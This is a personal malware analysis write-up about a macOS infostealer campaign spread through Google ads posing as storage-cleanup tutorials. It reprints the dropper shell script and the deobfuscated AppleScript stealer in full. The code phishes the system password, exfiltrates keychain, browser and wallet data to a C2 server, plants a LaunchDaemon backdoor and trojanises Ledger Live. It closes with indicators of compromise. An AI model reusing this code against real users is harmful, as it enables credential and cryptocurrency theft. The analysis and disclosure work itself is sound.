New Malware campaign on MacOS

Malicious sponsored Google ads, as fake tutorials to clean up your mac storage.

Attack Flow

Background Story

In the shady afternoon, after I prayed, I Opened my laptop and saw that it was running low on storage capacity. As someone who likes everything free (Open-Source Enthusiast, xD), I search in the internet about how to clean up my storage on my laptop.

R.I.P my storage :(

And then, I found some interesting article on the top of my search.

Source: cube-team[dot]com (its just link to redirect to page, there is nothing malicious with that)

Things that surprised me and made me laugh a little appeared.

It’s a bit ridiculous that it’s on a website. I thought like is it possible for a company to shows such a blog like that. My first steps is validating that domain.

scanned cube-team[dot]com in virustotal

There is nothing suspicious with that domain, but when Im checking the details page, it shows that this link’s final destination is in the malicious link.

And you can see the result in virustotal for the final URL in here. Also im visiting the other page of the website, and its totally typosquatting.

Typosquatting, also known as URL hijacking, is a type of cyberattack where attackers register domain names that are intentionally misspelled versions of popular websites. The goal is to trick users who make common typographical errors when typing website addresses into their browsers, leading them to the attacker’s fraudulent website.

Digging into what’s really going on

Back to that suspicious article, Im decode that base64

echo aHR0cHM6Ly91em5iaHcuY29tL1QvNDU2OC5zaA== | base64 -d
https://uznbhw.com/T/4568.sh

Downloaded safely for that file, There is nothing encoded or encrypted with something, its just a plain shell script, with the malicious action.

#!/bin/bash
username=$(whoami)while true; do
  echo -n "System Password: "
  read password
  echo  if dscl . -authonly "$username" "$password" >/dev/null 2>&1; then
    echo -n "$password" > /tmp/.pass
    break
  else
    echo "Incorrect password! Try again."
  fi
donecurl -o /tmp/update https://adrianfrieg.com/go/update >/dev/null 2>&1
echo "$password" | sudo -S xattr -c /tmp/update >/dev/null 2>&1
chmod +x /tmp/update
/tmp/updateos=$(uname -s)
version=$(sw_vers -productVersion 2>/dev/null || echo "Unknown")
lang=$(defaults read -g AppleLocale 2>/dev/null || echo "Unknown")
lecurl -s -X POST https://uznbhw.com/execute \
  -H "Content-Type: application/json" \
  -d '{
    "os": "'"$os"'",
    "version": "'"$version"'",
    "lang": "'"$lang"'",
    "website": "cube-teams.com",
    "id": "4568",
    "name": "PAGE_NAME"
  }' >/dev/null 2>&1

At first, it will store your username and ask for your password, it will loop until you entered your correct password. After that, it will downloaded another file, called update, saved in /tmp/update . That password will used to give the attackers root access and use xattr to remove com.apple.quarantine attributes.

xattr com.apple.quarantine command causes the OS to skip the malware check for the file specified; it normally gets removed if it doesn’t find any in it. Running it should only be done if the computer falsely detects some and it’s from a trusted source.

After that, the shell script tells the computer that this program allow to be executed use chmod + x /tmp/update , and finally the program is executed. And at the end of the script, it gathers OS, version, language to tailor attacks or evasion methods. It also likely to track for which campaign resulted in infection. In this case, the website and id’s most likely to track for which campaign resulted in infection.

Going deeper and deeper

After successfuly download the update file, I uploaded it in virustotal with this result.

File Information

Thats a big sign that this is a serious malware. The malware is highly obfuscated with some operations such as XOR, Mersenne Twister PRNG (MT19937), and other complex mathematic operations.

Move to my Hex-Rays IDA, I start to pinpoint some essential function with their task.

The payloads is hard to be decoded to plain, because the highly obfuscated and PRNG operations make me almost impossible to statically analyze.

Back in the virustotal, the first interaction from the malware to the shell is

osascript -e set memData to do shell script "system_profiler SPMemoryDataType"set hardwareData to do shell script "system_profiler SPHardwareDataType"if memData contains "QEMU" or memData contains "VMware" or memData contains "KVM" or hardwareData contains "Z31FHXYQ0J" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" or hardwareData contains "Chip: Unknown" or hardwareData contains "Intel Core 2" then set exitCode to 100 else set exitCode to 0 end if do shell script "exit " & exitCode

That’s indicate thats the attacker didn’t want to his program is executed in virtualization or suspicious environment. And that’s one of the payloads.

Patching the binary

At this moment, Im already a little stuck. Ask my friends, he have an idea to patch the binary to bypassing the anti-vm.

original binary
patched binary

But its nothing, it still can’t help, I think Im lost now. Also, this was my first time analyzing and seeing a real malware in my life. Im out for this like 4–5 hour to take a break.

Reckless Action

Im back in front of my laptop with fresh mind, but with wild action. We know that if we run manually (not use shell script) in terminal and the executable trying to access some directory, it will need our permission. So, I run that malware and wait to ask for permission appear with seeing the process running use ps aux . Apparently, the payload created by the attacker is not too good to hide. When the ask for permission appear, all the payload is recorded in process too (I think the payload appear for ask permission is just the starting payload to give this malware permission).

screenshot from my friend when Im running the malware

So, after i copying the payload, Im rejected the permission and kill all malicious process in my laptops, and its controlled and safe.

Lets move to analyze the real payloads the attacker want to execute. I already cleared the payload so it easy to read. This is the osascript the attackers create.

set release to true
set filegrabbers to truetell application "Terminal" to set visible of the front window to falseon filesizer(paths)
 try
  set theItem to quoted form of POSIX path of paths
  set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
 end try
 return fsz
end filesizeron mkdir(someItem)
 try
  set filePosixPath to quoted form of (POSIX path of someItem)
  do shell script "mkdir -p " & filePosixPath
 end try
end mkdiron writeText(textToWrite, filePath)
 try
  set lastSlash to offset of "/" in (reverse of every character of filePath) as string
  set folderPath to text 1 thru -(lastSlash + 1) of filePath    mkdir(folderPath)    set fileRef to (open for access filePath with write permission)
  write textToWrite to fileRef starting at eof
  close access fileRef
 end try
end writeTexton readwrite(path_to_file, path_as_save)
 try
  set lastSlash to offset of "/" in (reverse of every character of path_as_save) as string
  set folderPath to text 1 thru -(lastSlash + 1) of path_as_save    mkdir(folderPath)    do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
 end try
end readwriteon installBot(profile, pwd, botUrl)
 try
  set listContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
 <key>Label</key>
 <string>com.finder.helper</string>
 <key>ProgramArguments</key>
 <array>
  <string>/bin/bash</string>
  <string>" & profile & "/.agent</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>"    
set botPath to (quoted form of (profile & "/.helper"))
  do shell script "curl -o " & botPath & " https://" & botUrl & "/zxc/app"
  do shell script "chmod +x " & botPath    set scriptContent to "while true; do
 osascript <<EOF
set loginContent to do shell script \"stat -f \\\"%Su\\\" /dev/console\"
if loginContent is not equal to \"\" and loginContent is not equal to \"root\"
 do shell script \"sudo -u \" & quoted form of loginContent & \" " & (quoted form of (profile & "/.helper")) & "\"
end if
EOF
 sleep 1
done"
  set scriptPath to profile & "/.agent"
  writeText(scriptContent, scriptPath)
  writeText(listContent, "/tmp/starter")
  do shell script "chmod +x " & quoted form of scriptPath    do shell script "echo " & quoted form of pwd & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist"
  do shell script "echo " & quoted form of pwd & " | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist"
  do shell script "echo " & quoted form of pwd & " | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist"   end try
end installBoton replaceApp(pr, pass, appUrl)
 try
  set appPath to "/Applications/Ledger Live.app"    list folder POSIX file appPath    do shell script "curl https://" & appUrl & "/zxc/app.zip -o /tmp/app.zip"    try
   do shell script "pkill \"Ledger Live\""
  end try    do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath
  delay 1    do shell script "unzip /tmp/app.zip -d /Applications"
  delay 1    do shell script "rm /tmp/app.zip"   end try
end replaceAppon checkvalid(username, password_entered)
 try
  set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
  if result is not equal to "" then
   return false
  else
   return true
  end if
 on error
  return false
 end try
end checkvalidon getpwd(username, writemind)
 try
  repeat
   set result to display dialog "Required Application Helper.
Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
   set password_entered to text returned of result      if checkvalid(username, password_entered) then
    writeText(password_entered, writemind & "pwd")
    return password_entered
   end if
  end repeat
 end try
 return ""
end getpwdon GrabFolder(sourceFolder, destinationFolder)
 try
  set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "journals"}
  set fileList to list folder sourceFolder without invisibles
  mkdir(destinationFolder)
  repeat with currentItem in fileList
   if currentItem is not in exceptionsList then
    set itemPath to sourceFolder & "/" & currentItem
    set savePath to destinationFolder & "/" & currentItem
    if (do shell script "file -b " & quoted form of itemPath) ends with "directory" then
     GrabFolder(itemPath, savePath)
    else
     readwrite(itemPath, savePath)
    end if
   end if
  end repeat
 end try
end GrabFolderon chromium(writemind, chromium_map)
 set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "..."}
 set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}  repeat with chromium in chromium_map
  set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
  try
   set fileList to list folder item 2 of chromium without invisibles
   repeat with currentItem in fileList
    if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
     repeat with CFile in chromiumFiles
     end repeat
    end if
   end repeat
  end try
 end repeat
end chromiumon deskwallets(writemind, deskwals)
 repeat with deskwal in deskwals
  try
   GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
  end try
 end repeat
end deskwalletson filegrabber(writemind)end filegrabberon send_data(attempt, gate, login, buildid, cl, cn)
 try
  set result_send to (do shell script "curl -X POST -H \"user: " & login & "\" -H \"BuildID: " & buildid & "\" -H \"cl: " & cl & "\" -H \"cn: " & cn & "\" -F \"file=@/tmp/out.zip\" " & gate & "/contact")
 on error
  if attempt < 15 then
   delay 60
   send_data(attempt + 1, gate, login, buildid, cl, cn)
  end if
 end try
end send_dataset username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
try
 set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
 writeText(result, writemind & "info")
end tryset password_entered to getpwd(username, writemind)set library to profile & "/Library/Application Support/"
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"... many more browsers ..."}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"... many more wallets ..."}}readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
filegrabber(writemind)
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"    set login to "qS9BIxVxidCHywQHygxfP/MXx4LC4sR-UO3BCs179mU="
set buildid to "g6WoVPQuDsPBdi5d7yBMCujfJkLffgGMb8jEkJK-oc8="
set gate to "http://45.94.47.144"
set botUrl to "halesmp.com"
send_data(0, gate, login, buildid, "0", "0")replaceApp(profile, password_entered, botUrl)
installBot(profile, password_entered, botUrl)do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"

There is some key malicious components.

malicious function

So, the flow is first, it will pop a window for the victim to give their password for the beginning of the attack. Then, it will travels in victim’s computer to collect all data and compress it. Then the data will send back to the attackers. Along with that, the attacker plants a backdoor as a shortcut for them to access the victim’s computer again.

Layered Malware

I already mention that its not just one straight attack, the first malware stealing and drop another malware in victims computer. I grab the new malware based on that payload above, and upload it in VirusTotal.

I notice that the first submission for this file is when Im upload this file. So that means that this malware is new and need to be analyzed further immediately.

Lesson Learned

If you looking for something free, the internet its always have it. But dont let you be ignorant and not check on it. Always be careful in doing everything on the internet.

Just because the internet feels limitless doesn’t mean our actions should be careless.

Suggestion

Sharing what we uncover about new malware isn’t just helpful — it’s a vital part of staying ahead in the fight against evolving cyber threats. Also, it will be very helpful if you want to continues for this findings.

IoCs

update (Mach-O): b69072b11af4a213a048b171933193330e368f25662d330056d825089680d610 SHA256

app (Mach-O):

b4858bb826e942864094b05f7f92cfa22a5323b1e7240509b0f9e9defd5db47a SHA256

Domain related to update: adrianfrieg[dot]com, uznbhw[dot]com , cube-team[dot]com

Domain related to app: halesmp[dot]com

C2 IP Server related to app: 45.94.47.144

Persistence file: /Library/LaunchDaemons/com.finder.helper.plist

Backdoor executable: /Users/[your_username]/.agent, /Users/[your_username]/.helper

Targeted apps for trojan replacement: /Applications/Ledger Live.app

Last updated